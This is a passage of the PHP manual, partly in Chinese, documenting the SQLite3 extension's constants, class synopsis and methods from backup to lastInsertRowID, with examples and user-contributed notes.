启用 defensive flag 后，将禁用普通 SQL 故意损坏数据库文件的语言功能。这禁止直接写入模式（schema）、影子表（例如 FTS 数据表）或 sqlite_dbpage 虚拟表。此 php.ini 设置仅对 libsqlite ≥ 3.26.0 有效。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SQLITE3_ASSOC (int)
指定 Sqlite3Result::fetchArray() 方法返回按列名称索引的数组，其中列名即相应结果集返回的列名。
SQLITE3_NUM (int)
指定 Sqlite3Result::fetchArray() 方法返回按列序号索引的数组，其中列号即相应结果集返回的列号，从第 0 列开始计数。
SQLITE3_BOTH (int)
指定 Sqlite3Result::fetchArray() 方法返回同时按列名称与列序号索引的数组，其中列名即相应结果集返回的列名，列号即相应结果集返回的列号，从第 0 列开始计数。
SQLITE3_INTEGER (int)
表示 SQLite3 INTEGER (整型) 存储类。
SQLITE3_FLOAT (int)
表示 SQLite3 REAL (FLOAT) (实型) 存储类。
SQLITE3_TEXT (int)
表示 SQLite3 TEXT (文本) 存储类。
SQLITE3_BLOB (int)
表示 SQLite3 BLOB (二进制对象) 存储类。
SQLITE3_NULL (int)
表示 SQLite3 NULL 存储类。
SQLITE3_OPEN_READONLY (int)
指定 SQLite3 数据库以只读模式打开。
SQLITE3_OPEN_READWRITE (int)
指定 SQLite3 数据库以读写模式打开。
SQLITE3_OPEN_CREATE (int)
指定 SQLite3 数据库若不存在，则创建并打开。
SQLITE3_DETERMINISTIC (int)
使用 SQLite3::createFunction() 创建的指定函数是确定性的，即它始终在单个 SQL 语句中指定的相同输入返回相同结果。（自 PHP 7.1.4 起可用。）

User Contributed Notes

There are no user contributed notes for this page.


SQLite3 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

连接 SQLite 3 数据库的类。

类摘要

class SQLite3 {
/* 常量 */
public const int OK;
public const int DENY;
public const int IGNORE;
public const int CREATE_INDEX;
public const int CREATE_TABLE;
public const int CREATE_TEMP_INDEX;
public const int CREATE_TEMP_TABLE;
public const int CREATE_TEMP_TRIGGER;
public const int CREATE_TEMP_VIEW;
public const int CREATE_TRIGGER;
public const int CREATE_VIEW;
public const int DELETE;
public const int DROP_INDEX;
public const int DROP_TABLE;
public const int DROP_TEMP_INDEX;
public const int DROP_TEMP_TABLE;
public const int DROP_TEMP_TRIGGER;
public const int DROP_TEMP_VIEW;
public const int DROP_TRIGGER;
public const int DROP_VIEW;
public const int INSERT;
public const int PRAGMA;
public const int READ;
public const int SELECT;
public const int TRANSACTION;
public const int UPDATE;
public const int ATTACH;
public const int DETACH;
public const int ALTER_TABLE;
public const int REINDEX;
public const int ANALYZE;
public const int CREATE_VTABLE;
public const int DROP_VTABLE;
public const int FUNCTION;
public const int SAVEPOINT;
public const int COPY;
public const int RECURSIVE;
/* 方法 */
public __construct(string $filename, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, string $encryptionKey = "")
public backup(SQLite3 $destination, string $sourceDatabase = "main", string $destinationDatabase = "main"): bool
public busyTimeout(int $milliseconds): bool
public changes(): int
public close(): bool
public createAggregate(
string $name,
callable $stepCallback,
callable $finalCallback,
int $argCount = -1
): bool
public createCollation(string $name, callable $callback): bool
public createFunction(
string $name,
callable $callback,
int $argCount = -1,
int $flags = 0
): bool
public enableExceptions(bool $enable = false): bool
public static escapeString(string $string): string
public exec(string $query): bool
public lastErrorCode(): int
public lastErrorMsg(): string
public lastInsertRowID(): int
public loadExtension(string $name): bool
public open(string $filename, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, string $encryptionKey = ""): void
public openBlob(
string $table,
string $column,
int $rowid,
string $database = "main",
int $flags = SQLITE3_OPEN_READONLY
): resource|false
public prepare(string $query): SQLite3Stmt|false
public query(string $query): SQLite3Result|false
public querySingle(string $query, bool $entireRow = false): mixed
public setAuthorizer(?callable $callback): bool
public static version(): array
}

预定义常量

SQLite3::OK

SQLite3::DENY

SQLite3::IGNORE

SQLite3::CREATE_INDEX

SQLite3::CREATE_TABLE

SQLite3::CREATE_TEMP_INDEX

SQLite3::CREATE_TEMP_TABLE

SQLite3::CREATE_TEMP_TRIGGER

SQLite3::CREATE_TEMP_VIEW

SQLite3::CREATE_TRIGGER

SQLite3::CREATE_VIEW

SQLite3::DELETE

SQLite3::DROP_INDEX

SQLite3::DROP_TABLE

SQLite3::DROP_TEMP_INDEX

SQLite3::DROP_TEMP_TABLE

SQLite3::DROP_TEMP_TRIGGER

SQLite3::DROP_TEMP_VIEW

SQLite3::DROP_TRIGGER

SQLite3::DROP_VIEW

SQLite3::INSERT

SQLite3::PRAGMA

SQLite3::READ

SQLite3::SELECT

SQLite3::TRANSACTION

SQLite3::UPDATE

SQLite3::ATTACH

SQLite3::DETACH

SQLite3::ALTER_TABLE

SQLite3::REINDEX

SQLite3::ANALYZE

SQLite3::CREATE_VTABLE

SQLite3::DROP_VTABLE

SQLite3::FUNCTION

SQLite3::SAVEPOINT

SQLite3::COPY

SQLite3::RECURSIVE

Table of Contents

  • SQLite3::backup — Backup one database to another database
  • SQLite3::busyTimeout — Sets the busy connection handler
  • SQLite3::changes — Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement
  • SQLite3::close — Closes the database connection
  • SQLite3::__construct — 实例化 SQLite3 对象并打开 SQLite 3 数据库
  • SQLite3::createAggregate — Registers a PHP function for use as an SQL aggregate function
  • SQLite3::createCollation — Registers a PHP function for use as an SQL collating function
  • SQLite3::createFunction — Registers a PHP function for use as an SQL scalar function
  • SQLite3::enableExceptions — Enable throwing exceptions
  • SQLite3::escapeString — Returns a string that has been properly escaped
  • SQLite3::exec — Executes a result-less query against a given database
  • SQLite3::lastErrorCode — Returns the numeric result code of the most recent failed SQLite request
  • SQLite3::lastErrorMsg — Returns English text describing the most recent failed SQLite request
  • SQLite3::lastInsertRowID — Returns the row ID of the most recent INSERT into the database
  • SQLite3::loadExtension — Attempts to load an SQLite extension library
  • SQLite3::open — Opens an SQLite database
  • SQLite3::openBlob — Opens a stream resource to read a BLOB
  • SQLite3::prepare — Prepares an SQL statement for execution
  • SQLite3::query — Executes an SQL query
  • SQLite3::querySingle — Executes a query and returns a single result
  • SQLite3::setAuthorizer — Configures a callback to be used as an authorizer to limit what a statement can do
  • SQLite3::version — Returns the SQLite3 library version as a string constant and as a number

User Contributed Notes

dannsbass at gmail dot com 30-Aug-2021 10:56
# get all .dbi files in a directory
$databases_list = glob("directory/*.dbi");

# looping it
foreach ($databases_list as $db_name){

    # sanitizing name of file
    $db_name = str_replace('directory/','',str_replace('.dbi','',$db_name));

    # Database connection
    $db = new SQLite3($db_name);

    $result = $db->query("SELECT * FROM your_table_name");

    while($data = $result->fetchArray()){

        echo $data['column']."<hr>";

    }

  }


Backup one database to another database

  • ? SQLite3
  • SQLite3::busyTimeout ?
  • PHP Manual
  • SQLite3
  • Backup one database to another database

SQLite3::backup

(PHP 7 >= 7.4.0, PHP 8)

SQLite3::backup — Backup one database to another database

说明

public SQLite3::backup(SQLite3 $destination, string $sourceDatabase = "main", string $destinationDatabase = "main"): bool

SQLite3::backup() copies the contents of one database into another, overwriting the contents of the destination database. It is useful either for creating backups of databases or for copying in-memory databases to or from persistent files.

Tip

As of SQLite 3.27.0 (2019-02-07), it is also possible to use the statement VACUUM INTO 'file.db'; to backup the database to a new file.

参数

destination

A database connection opened with SQLite3::open().

sourceDatabase

The database name is "main" for the main database, "temp" for the temporary database, or the name specified after the AS keyword in an ATTACH statement for an attached database.

destinationDatabase

Analogous to sourceDatabase but for the destination.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Backup an existing database

<?php
// $conn is a connection to an already opened sqlite3 database

$backup = new SQLite3('backup.sqlite');
$conn->backup($backup);
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the busy connection handler

  • ? SQLite3::backup
  • SQLite3::changes ?
  • PHP Manual
  • SQLite3
  • Sets the busy connection handler

SQLite3::busyTimeout

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

SQLite3::busyTimeout — Sets the busy connection handler

说明

public SQLite3::busyTimeout(int $milliseconds): bool

Sets a busy handler that will sleep until the database is not locked or the timeout is reached.

参数

milliseconds

The milliseconds to sleep. Setting this value to a value less than or equal to zero, will turn off an already set timeout handler.

返回值

Returns true on success, 或者在失败时返回 false.

User Contributed Notes

anthony at domps dot fr 04-May-2021 11:55
It's possible to use PRAGMA to set busyTimeout (milliseconds) :

<?php

$db = new SQLite3('my.db');
$db->exec("PRAGMA busy_timeout=5000");

?>
dkarnout at gmail dot com 14-Aug-2015 06:40
For SQLite2 (http://php.net/manual/en/function.sqlite-busy-timeout.php), PHP sets the default busy timeout to be 60 seconds when the database is opened.
However, this does not happen for v3 and it has to be done manually.

My personal experience is that the default value of SQLite3, which is 0, is not enough when you have to do consecutive read/write commits and the file has not been accessed for long time.
ppryor63 at gmail dot com 13-Feb-2014 01:30
The busyTimeout() method and related API sqlite3_busy_timeout() is a connection level attribute and affects whole connection and should be set once after opening connection.  Do not set to zero or you will encounter "Database is busy" error message when calling query, querySingle, prepare, or execute methods.  Also ensure that sqlite3 library is compiled with HAVE_USLEEP defined, otherwise busyTimeout() can only time out in seconds.  It is very highly recommended to call busyTimeout() with non-zero timeout for reliability in concurrent environment.


Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement

  • ? SQLite3::busyTimeout
  • SQLite3::close ?
  • PHP Manual
  • SQLite3
  • Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement

SQLite3::changes

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::changes — Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement

说明

public SQLite3::changes(): int

Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement.

参数

此函数没有参数。

返回值

Returns an int value corresponding to the number of database rows changed (or inserted or deleted) by the most recent SQL statement.

示例

Example #1 SQLite3::changes() example

<?php
$db = new SQLite3('mysqlitedb.db');

$query = $db->exec('UPDATE counter SET views=0 WHERE page="test"');
if ($query) {
echo 'Number of rows modified: ', $db->changes();
}
?>

User Contributed Notes

teclado at tandex dot com 02-Oct-2015 04:10
There is an issue that may be meant or not, but in my case is annoying. If you have have a schema like the following:

[code]
pragma foreign_key = on;
create table parent (
  id integer,
  a varchar,
  primary key (id asc)
);
create table child (
  id integer,
  b varchar,
  a integer,
  primary key (id asc),
  foreign key (a) references a (id) on delete cascade on update cascade
);
[/code]

When you try to delete a parent row (delete from parent where parent.id=?) it deletes all the childs referenced to this parent, but the method SQLite3::changes() is still returning 1, as if it only have deleted the parent.
krebs dot seb at googlemail dot com 10-Nov-2011 01:25
It seems, that this method doesn't report the affected rows properly, when using with savepoints or a transaction.


Closes the database connection

  • ? SQLite3::changes
  • SQLite3::__construct ?
  • PHP Manual
  • SQLite3
  • Closes the database connection

SQLite3::close

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::close — Closes the database connection

说明

public SQLite3::close(): bool

Closes the database connection.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SQLite3::close() example

<?php
$db = new SQLite3('mysqlitedb.db');
$db->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


实例化 SQLite3 对象并打开 SQLite 3 数据库

  • ? SQLite3::close
  • SQLite3::createAggregate ?
  • PHP Manual
  • SQLite3
  • 实例化 SQLite3 对象并打开 SQLite 3 数据库

SQLite3::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::__construct — 实例化 SQLite3 对象并打开 SQLite 3 数据库

说明

public SQLite3::__construct(string $filename, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, string $encryptionKey = "")

实例化 SQLite3 对象并打开连接到 SQLite 3 数据库的连接。如果构建包括加密，那么将尝试使用密钥。

参数

filename

SQLite 数据库的路径，或 :memory: 使用内存数据库。如果 filename 是空字符串，那么将创建私有的临时磁盘数据库。一旦数据库连接关闭，这个私有数据库就会自动删除。

flags

可选的 flag，用于确定如何打开 SQLite 数据库。默认使用 SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE 打开。

  • SQLITE3_OPEN_READONLY：以只读方式打开数据库。

  • SQLITE3_OPEN_READWRITE：以读写方式打开数据库。

  • SQLITE3_OPEN_CREATE：如果数据库不存在，则创建数据库。

encryptionKey

加密和解密 SQLite 数据库时使用的可选加密密钥。如果未安装 SQLite 加密模块，则此参数无效。

错误／异常

失败时抛出 Exception。

更新日志

版本 | 说明
7.0.10 | filename 可以为空，以使用私有的临时磁盘数据库。

示例

Example #1 SQLite3::__construct() 示例

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (bar TEXT)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

jtreurniet at example dot com 08-Jul-2017 08:26
Note that the SQLITE3_OPEN_READONLY flag cannot be combined with the SQLITE3_OPEN_CREATE flag. If you combine both of these flags, a rather unhelpful "Unable to open database: out of memory" exception will be thrown.
bohwaz 16-May-2011 10:59
$encryption_key and all encryption features will be enabled only if the SQLite encryption module is installed. It's a proprietary, costly module. So if it's not present, supplying an encryption key will have absolutely no effect.


Registers a PHP function for use as an SQL aggregate function

  • ? SQLite3::__construct
  • SQLite3::createCollation ?
  • PHP Manual
  • SQLite3
  • Registers a PHP function for use as an SQL aggregate function

SQLite3::createAggregate

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::createAggregate — Registers a PHP function for use as an SQL aggregate function

说明

public SQLite3::createAggregate(
string $name,
callable $stepCallback,
callable $finalCallback,
int $argCount = -1
): bool

Registers a PHP function or user-defined function for use as an SQL aggregate function for use within SQL statements.

参数

name

Name of the SQL aggregate to be created or redefined.

stepCallback

Callback function called for each row of the result set. Your PHP function should accumulate the result and store it in the aggregation context.

This function need to be defined as:

step(
mixed $context,
int $rownumber,
mixed $value,
mixed ...$values
): mixed
context

null for the first row; on subsequent rows it will have the value that was previously returned from the step function; you should use this to maintain the aggregate state.

rownumber

The current row number.

value

The first argument passed to the aggregate.

values

Further arguments passed to the aggregate.

The return value of this function will be used as the context argument in the next call of the step or finalize functions.

finalCallback

Callback function to aggregate the "stepped" data from each row. Once all the rows have been processed, this function will be called and it should then take the data from the aggregation context and return the result. This callback function should return a type understood by SQLite (i.e. scalar type).

This function need to be defined as:

fini(mixed $context, int $rownumber): mixed
context

Holds the return value from the very last call to the step function.

rownumber

Always 0.

The return value of this function will be used as the return value for the aggregate.

argCount

The number of arguments that the SQL aggregate takes. If this parameter is negative, then the SQL aggregate may take any number of arguments.

返回值

Returns true upon successful creation of the aggregate, 或者在失败时返回 false.

示例

Example #1 max_length aggregation function example

<?php
$data = array(
'one',
'two',
'three',
'four',
'five',
'six',
'seven',
'eight',
'nine',
'ten',
);
$db = new SQLite3(':memory:');
$db->exec("CREATE TABLE strings(a)");
$insert = $db->prepare('INSERT INTO strings VALUES (?)');
foreach ($data as $str) {
$insert->bindValue(1, $str);
$insert->execute();
}
$insert = null;

function max_len_step($context, $rownumber, $string)
{
if (strlen($string) > $context) {
$context = strlen($string);
}
return $context;
}

function max_len_finalize($context, $rownumber)
{
return $context === null ? 0 : $context;
}

$db->createAggregate('max_len', 'max_len_step', 'max_len_finalize');

var_dump($db->querySingle('SELECT max_len(a) from strings'));
?>

以上示例会输出：

int(5)

In this example, we are creating an aggregating function that will calculate the length of the longest string in one of the columns of the table. For each row, the max_len_step function is called and passed a $context parameter. The context parameter is just like any other PHP variable and be set to hold an array or even an object value. In this example, we are simply using it to hold the maximum length we have seen so far; if the $string has a length longer than the current maximum, we update the context to hold this new maximum length.

After all of the rows have been processed, SQLite calls the max_len_finalize function to determine the aggregate result. Here, we could perform some kind of calculation based on the data found in the $context. In our simple example though, we have been calculating the result as the query progressed, so we simply need to return the context value.

Tip

It is NOT recommended for you to store a copy of the values in the context and then process them at the end, as you would cause SQLite to use a lot of memory to process the query - just think of how much memory you would need if a million rows were stored in memory, each containing a string 32 bytes in length.

Tip

You can use SQLite3::createAggregate() to override SQLite native SQL functions.

User Contributed Notes

boris dot dd at gmail dot com 06-Jan-2017 07:57
<?php
class Test extends SQLite3
{
    public function __construct($file)
    {
        parent::__construct($file);
        $this->createAggregate('groupConcat', [$this, 'concatStep'], [$this, 'concatFinal']);
    }
    public function concatStep(&$context, $rowId, $string, $delimiter)
    {
        if (!isset($context)) {
            $context = [
                'delimiter' => $delimiter,
                'data'      => []
            ];
        }
        $context['data'][] = $string;
        return $context;
    }
    public function concatFinal(&$context)
    {
        return implode($context['delimiter'], $context['data']);
    }
}
$SQLite = new Test('/tmp/test.sqlite');
$SQLite->exec("create table `test` (`id` TEXT, `color` TEXT, `size` TEXT)");
$SQLite->exec("insert into `test` (`id`, `color`, `size`) values ('1', 'red', 'M')");
$SQLite->exec("insert into `test` (`id`, `color`, `size`) values ('1', 'green', 'M')");
$SQLite->exec("insert into `test` (`id`, `color`, `size`) values ('1', 'blue', 'S')");
$Result = $SQLite->query("select `size`, groupConcat(`color`, ';') as `color` from `test` group by `size`");
while ($row = $Result->fetchArray(SQLITE3_ASSOC)) {
    print_r($row);
}
/*
Array
(
    [size] => M
    [color] => red;green
)
Array
(
    [size] => S
    [color] => blue
)
*/
sukmaagungsaputra at gmail dot com 21-Feb-2015 05:09
Lacks of example, right?
Let's try to give to SQlite3 the capability like ones of MySQL's
- REGEXP operator,
- MD5 function, and
- GROUP_CONCAT aggregate function

$db = new SQLite3($filename);
$db->createFunction('regexp', function ($a,$b) { return preg_match("/$a/i", $b); });
$db->createFunction('md5', function ($a) { return md5($a); });
$db->createAggregate ('group_concat',
            function(&$context, $rownumber, $str) { $context[]=$str; return $context; },
            function(&$context) {return implode(",", (array) $context); });


Registers a PHP function for use as an SQL collating function

  • ? SQLite3::createAggregate
  • SQLite3::createFunction ?
  • PHP Manual
  • SQLite3
  • Registers a PHP function for use as an SQL collating function

SQLite3::createCollation

(PHP 5 >= 5.3.11, PHP 7, PHP 8)

SQLite3::createCollation — Registers a PHP function for use as an SQL collating function

说明

public SQLite3::createCollation(string $name, callable $callback): bool

Registers a PHP function or user-defined function for use as a collating function within SQL statements.

参数

name

Name of the SQL collating function to be created or redefined

callback

The name of a PHP function or user-defined function to apply as a callback, defining the behavior of the collation. It should accept two values and return as strcmp() does, i.e. it should return -1, 1, or 0 if the first string sorts before, sorts after, or is equal to the second.

This function need to be defined as:

collation(mixed $value1, mixed $value2): int

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SQLite3::createCollation() example

Register the PHP function strnatcmp() as a collating sequence in the SQLite3 database.

<?php

$db = new SQLite3(":memory:");
$db->exec("CREATE TABLE test (col1 string)");
$db->exec("INSERT INTO test VALUES ('a1')");
$db->exec("INSERT INTO test VALUES ('a10')");
$db->exec("INSERT INTO test VALUES ('a2')");

$db->createCollation('NATURAL_CMP', 'strnatcmp');

$defaultSort = $db->query("SELECT col1 FROM test ORDER BY col1");
$naturalSort = $db->query("SELECT col1 FROM test ORDER BY col1 COLLATE NATURAL_CMP");

echo "default:\n";
while ($row = $defaultSort->fetchArray()){
echo $row['col1'], "\n";
}

echo "\nnatural:\n";
while ($row = $naturalSort->fetchArray()){
echo $row['col1'], "\n";
}

$db->close();

?>

以上示例会输出：

default:
a1
a10
a2

natural:
a1
a2
a10

参见

  • The SQLite collation documentation: » http://sqlite.org/datatype3.html#collation

User Contributed Notes

There are no user contributed notes for this page.


Registers a PHP function for use as an SQL scalar function

  • ? SQLite3::createCollation
  • SQLite3::enableExceptions ?
  • PHP Manual
  • SQLite3
  • Registers a PHP function for use as an SQL scalar function

SQLite3::createFunction

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::createFunction — Registers a PHP function for use as an SQL scalar function

说明

public SQLite3::createFunction(
string $name,
callable $callback,
int $argCount = -1,
int $flags = 0
): bool

Registers a PHP function or user-defined function for use as an SQL scalar function for use within SQL statements.

参数

name

Name of the SQL function to be created or redefined.

callback

The name of a PHP function or user-defined function to apply as a callback, defining the behavior of the SQL function.

This function need to be defined as:

callback(mixed $value, mixed ...$values): mixed
value

The first argument passed to the SQL function.

values

Further arguments passed to the SQL function.

argCount

The number of arguments that the SQL function takes. If this parameter is -1, then the SQL function may take any number of arguments.

flags

A bitwise conjunction of flags. Currently, only SQLITE3_DETERMINISTIC is supported, which specifies that the function always returns the same result given the same inputs within a single SQL statement.

返回值

Returns true upon successful creation of the function, false on failure.

更新日志

版本 | 说明
7.1.4 | The flags parameter has been added.

示例

Example #1 SQLite3::createFunction() example

<?php
function my_udf_md5($string) {
return md5($string);
}

$db = new SQLite3('mysqlitedb.db');
$db->createFunction('my_udf_md5', 'my_udf_md5');

var_dump($db->querySingle('SELECT my_udf_md5("test")'));
?>

以上示例的输出类似于：

string(32) "098f6bcd4621d373cade4e832627b4f6"

User Contributed Notes

bohwaz 28-Feb-2012 02:45
In PHP 5.4 there will be a createCollation method to use your custom collation method, to be able to sort datasets using unicode, like this:

<?php
setlocale(LC_COLLATE, 'fr_FR.UTF-8');
$db->createCollation('PHP_COLLATE', 'strcoll');

$db->query('SELECT * FROM my_table ORDER BY name COLLATE PHP_COLLATE;');
?>

But until this cool feature becomes available, you'll have to do some tricks, like this for french:

<?php
function sqlite3_to_ascii($str, $charset = 'UTF-8')
{
    // Don't process empty strings
    if (!trim($str))
        return $str;

    // We only process non-ascii strings
    if (preg_match('!^[[:ascii:]]+$!', $str))
        return $str;

    $str = htmlentities($str, ENT_NOQUOTES, $charset);

    $str = preg_replace('#&([A-za-z])(?:acute|cedil|circ|grave|orn|ring|slash|th|tilde|uml);#', '\1', $str);
    $str = preg_replace('#&([A-za-z]{2})(?:lig);#', '\1', $str);
    $str = preg_replace('#&[^;]+;#', '', $str);

    return $str;
}

$db->createFunction('to_ascii', 'sqlite3_to_ascii', 1);
$res = $db->query('SELECT * FROM test ORDER BY to_ascii(text);');
?>

This will convert non-ascii characters to ascii ones before collation. In fact this won't work with non-latin languages, but for latin-languages it's better than nothing.

Please note that this will slow down about 1.8 times the query (tested on a 10.000 rows table).
koalay at gmail dot com 26-May-2010 07:43
Since regular expression is not supported by default SQLite, we can create a user function to do the job.

<?php

$db = new SQLite3("database.sqlit3", 0666);

// create a function named "preg_match"
// with the php core function "preg_match"
if ($db->createFunction("preg_match", "preg_match", 2) === FALSE)
  exit("Failed creating function\n");

// this query will then works as expected
$result = $db->query("SELECT * FROM table1 WHERE
  preg_match('/^(apple|orange)$/', variable1)");

?>


Enable throwing exceptions

  • ? SQLite3::createFunction
  • SQLite3::escapeString ?
  • PHP Manual
  • SQLite3
  • Enable throwing exceptions

SQLite3::enableExceptions

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::enableExceptions — Enable throwing exceptions

说明

public SQLite3::enableExceptions(bool $enable = false): bool

Controls whether the SQLite3 instance will throw exceptions or warnings on error.

参数

enable

When true, the SQLite3 instance, and SQLite3Stmt and SQLite3Result instances derived from it, will throw exceptions on error.

When false, the SQLite3 instance, and SQLite3Stmt and SQLite3Result instances derived from it, will raise warnings on error.

For either mode, the error code and message, if any, will be available via SQLite3::lastErrorCode() and SQLite3::lastErrorMsg() respectively.

返回值

Returns the old value; true if exceptions were enabled, false otherwise.

示例

Example #1 SQLite3::enableExceptions() example

<?php
$sqlite = new SQLite3(':memory:');
try {
$sqlite->exec('create table foo');
$sqlite->enableExceptions(true);
$sqlite->exec('create table bar');
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
}
?>

以上示例的输出类似于：

Warning: SQLite3::exec(): near "foo": syntax error in example.php on line 4
Caught exception: near "bar": syntax error

User Contributed Notes

Yoann 11-Dec-2018 01:51
Be sure to note the poorly chosen name and default value.

The following snippet does not throw an exception, despite calling a function with the name "enableExceptions" immediately prior to the bad query.
<?php
$sqlite = new SQLite3('test.tmp');
$sqlite->enableExceptions();
$sqlite->exec('invalid query');
echo 'code still running since no exception was thrown';
?>

Note that this is still error-prone if the passed value is false. One is likely to read "enableExceptions" and ignore the parameter list since the function name conveys a strong (but incorrect) meaning.


Returns a string that has been properly escaped

  • ? SQLite3::enableExceptions
  • SQLite3::exec ?
  • PHP Manual
  • SQLite3
  • Returns a string that has been properly escaped

SQLite3::escapeString

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::escapeString — Returns a string that has been properly escaped

说明

public static SQLite3::escapeString(string $string): string

Returns a string that has been properly escaped for safe inclusion in an SQL statement.

Warning

此函数（还）不能安全地适用于二进制对象！

To properly handle BLOB fields which may contain NUL characters, use SQLite3Stmt::bindParam() instead.

参数

string

The string to be escaped.

返回值

Returns a properly escaped string that may be used safely in an SQL statement.

注释

Warning

addslashes() should NOT be used to quote your strings for SQLite queries; it will lead to strange results when retrieving your data.

User Contributed Notes

nhl261 at yahoo dot com 25-Sep-2014 09:11
Be careful if the string contains "\0" char.
see: https://bugs.php.net/bug.php?id=63419
alec at alecnewman dot com 09-Aug-2010 02:14
The reason this function doesn't escape double quotes is because double quotes are used with names (the equivalent of backticks in MySQL), as in table or column names, while single quotes are used for values.

This is important to remember, especially coming from another SQL implementation.  It can cause strange problems, for example, the query:

SELECT * FROM table WHERE column1="column1"

Would actually return every record, because column1 is always equal to column1.  This should instead be:

SELECT * FROM table WHERE column1='column1'

Double quotes are not escaped by the function because they are not interpreted specially within single quoted strings.


Executes a result-less query against a given database

  • ? SQLite3::escapeString
  • SQLite3::lastErrorCode ?
  • PHP Manual
  • SQLite3
  • Executes a result-less query against a given database

SQLite3::exec

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::exec — Executes a result-less query against a given database

说明

public SQLite3::exec(string $query): bool

Executes a result-less query against a given database.

Note: SQLite3 may need to create » temporary files during the execution of queries, so the respective directories may have to be writable.

参数

query

The SQL query to execute (typically an INSERT, UPDATE, or DELETE query).

返回值

Returns true if the query succeeded, false on failure.

示例

Example #1 SQLite3::exec() example

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE bar (bar TEXT)');
?>

User Contributed Notes

synnus 26-Jul-2022 08:05
<?php
       $db->exec('PRAGMA journal_mode = wal;');
       $db->exec('PRAGMA synchronous = NORMAL;');
       $db->exec('PRAGMA schema.taille_cache = 16000;');
?>
alexandre dot schmidt at gmail dot com 13-Feb-2016 05:38
I was getting "database locked" all the time until I found out some features of sqlite3 must be set by using SQL special instructions (i.e. using PRAGMA keyword). For instance, what apparently solved my problem with "database locked" was to set journal_mode to 'wal' (it is defaulting to 'delete', as stated here: https://www.sqlite.org/wal.html (see Activating  And Configuring WAL Mode)).

So basically what I had to do was creating a connection to the database and setting journal_mode with the SQL statement. Example:

<?php
$db = new SQLite3('/my/sqlite/file.sqlite3');
$db->busyTimeout(5000);
// WAL mode has better control over concurrency.
// Source: https://www.sqlite.org/wal.html
$db->exec('PRAGMA journal_mode = wal;');
?>

Hope that helps.


Returns the numeric result code of the most recent failed SQLite request

  • ? SQLite3::exec
  • SQLite3::lastErrorMsg ?
  • PHP Manual
  • SQLite3
  • Returns the numeric result code of the most recent failed SQLite request

SQLite3::lastErrorCode

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::lastErrorCode — Returns the numeric result code of the most recent failed SQLite request

说明

public SQLite3::lastErrorCode(): int

Returns the numeric result code of the most recent failed SQLite request.

参数

此函数没有参数。

返回值

Returns an integer value representing the numeric result code of the most recent failed SQLite request.

User Contributed Notes

bohwaz 27-Nov-2020 10:07
Codes can be found here: https://sqlite.org/rescode.html
argon 19-Aug-2018 02:26
If no error occurred - `SQLite3::lastErrorCode()` returns `0` (int zero)


Returns English text describing the most recent failed SQLite request

  • ? SQLite3::lastErrorCode
  • SQLite3::lastInsertRowID ?
  • PHP Manual
  • SQLite3
  • Returns English text describing the most recent failed SQLite request

SQLite3::lastErrorMsg

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::lastErrorMsg — Returns English text describing the most recent failed SQLite request

说明

public SQLite3::lastErrorMsg(): string

Returns English text describing the most recent failed SQLite request.

参数

此函数没有参数。

返回值

Returns an English string describing the most recent failed SQLite request.

User Contributed Notes

shafyxl at gmail dot com 16-Oct-2017 06:37
$db= new SQLite3('db1.db');
            $results= $db->query('SELECT * FROM table1');
            if($results==FALSE)
            {
                echo "Error in fetch ".$db->lastErrorMsg();
            }
            else
            {
                while ($row= $results->fetchArray())
                {


Returns the row ID of the most recent INSERT into the database

  • ? SQLite3::lastErrorMsg
  • SQLite3::loadExtension ?
  • PHP Manual
  • SQLite3
  • Returns the row ID of the most recent INSERT into the database

SQLite3::lastInsertRowID

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::lastInsertRowID — Returns the row ID of the most recent INSERT into the database

说明

public SQLite3::lastInsertRowID(): int

Returns the row ID of the most recent INSERT into the database.

参数

此函数没有参数。

返回值

Returns the row ID of the most recent INSERT into the database. If no successful INSERTs into rowid tables have ever occurred on this database connection, then SQLite3::lastInsertRowID() returns 0.

User Contributed Notes

alexofen at KEINSpamgmail dot com 05-Jan-2015 10:08
lastInsertRowID is relative to the database connection. Hence if there are two instances of a php script (with distinct $db connections) there is no risk that the RowID of the one instance will effect the result of the other instance.

I mention this point here as it was not clear from the documentation, at least not very clear to me and hence I hope it might help others.


Attempts to load an SQLite extension library

  • ? SQLite3::lastInsertRowID
  • SQLite3::open ?
  • PHP Manual
  • SQLite3
  • Attempts to load an SQLite extension library

SQLite3::loadExtension

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

